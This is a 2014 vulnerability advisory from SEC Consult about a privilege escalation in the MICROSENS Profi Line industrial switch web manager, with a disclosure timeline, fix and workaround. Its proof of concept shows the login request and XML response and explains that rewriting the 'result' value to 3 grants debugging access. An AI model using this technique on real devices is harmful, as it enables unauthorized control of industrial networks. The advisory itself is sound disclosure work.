MICROSENS Profi Line Switch 10.3.1 – Privilege Escalation

  • 作者: SEC Consult
    日期: 2014-02-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31985/
  • SEC Consult Vulnerability Lab Security Advisory < 20140228-0 >
    =======================================================================
    title: Privilege escalation vulnerability
    product: MICROSENS Profi Line Modular Industrial Switch Web
    Manager (MS652119PM)
    vulnerable version: Firmware version 10.3.1
    fixed version: Firmware version 10.3.2
    impact: High
    homepage: http://www.microsens.com/profi-line-modular/
    found: 2013-08-21
    by: Christian Kudera, Stefan Riegler
    SEC Consult Vulnerability Lab
    https://www.sec-consult.com
    =======================================================================
    
    Vendor description:
    -------------------
    "The new Profi Line Modular switches, from MICROSENS, offer maximum
    performance and flexibility in smallest spaces. Robust, modular, expandable
    and designed for greatest reliability and shortest recovery times, the Profi
    Line Modular series has become the first-choice solution for Industrial
    Ethernet."
    
    Source: http://www.microsens.com/profi-line-modular/
    
    Business recommendation:
    ------------------------
    SEC Consult has identified a privilege escalation in the MICROSENS Web Manager
    in the course of a very limited infrastructure audit. Very little time was
    spent on the affected product.
    
    The Web Manager can be used with read only permission to check the
    configuration on the device (e.g. VLANs, Port status). Additionally the Web
    Manager can be used with read and write permission to configure the device.
    
    Using the identified vulnerability a low privileged user having read only
    permission can elevate his privileges to contain read and write permissions.
    
    Vulnerability overview/description:
    -----------------------------------
    The Web Manager contains a login form to authenticate a user. The Web Manager
    offers different levels of privilege (e.g. read only permission, read and
    write permission, debugging permission).
    
    The login attempt is checked through a CGI binary, but the response of the
    binary is validated at the client side via JavaScript. An attacker can
    intercept and modify the response of the binary, thus achieving authentication
    and the desired level of authorization. No further validation is performed by
    the Web Manager.
    
    Proof of concept:
    -----------------
    The login generates the following request to the server:
    interf=WEB&bidx=1&unam=root&pawo=&plev=0
    
    This request triggers a CGI binary, which validates the login attempt and
    returns the following response:
    <xml>
    <!-- last change: 17.04.2012 -->
    <!-- returned at uptime of 141056 seconds -->
    <header>
    <version>V0.1</version>
    <user>XYZ</user>
    <date>2012/05/29 17:28:00</date>
    </header>
    
    <response>
    <par name="cmd" type="STRING" >
    <val>login</val>
    </par>
    <par name="result" type="UNSIGNED" >
    <val>255</val>
    </par>
    <par name="lunam" type="STRING" >
    <val>root</val>
    </par>
    <par name="liid" type="STRING" >
    <val>0</val>
    </par>
    <par name="rhost" type="STRING" >
    <val>192.10.100.136</val>
    </par>
    <par name="a_s_b" type="STRING" >
    <val>0_0_1</val>
    </par>
    </response>
    </xml>
    
    The parameter "result" informs the client about the properness of the provided
    login credentials.
    The parameter can correspond to the following values:
    255 login failed
    1 login with read only permission
    2 login with read and write permission
    3 login with debugging permission
    
    For example, if the value of the parameter "result" is changed to 3, the user
    gets logged in with debugging permissions.
    
    Vendor contact timeline:
    ------------------------
    2013-09-10: Contacting vendor
    2013-09-11: Sending advisory and proof of concept exploit via encrypted
    channel.
    2013-09-11: Vendor acknowledges receipt of advisory.
    2013-10-18: Vendor responds and wants to release update on 2013-10-31.
    2013-10-31: MICROSENS releases fixed version.
    2014-02-07: Conference call: Clarifying pending questions regarding the fixed
    version.
    2014-02-28: SEC Consult releases coordinated security advisory.
    
    Solution:
    ---------
    Update to the most recent firmware version 10.3.2
    
    Workaround:
    -----------
    All accounts with read only permissions should be disabled on the device.
    
    Advisory URL:
    -------------
    https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    SEC Consult Vulnerability Lab
    
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    EOF Christian Kudera / @2014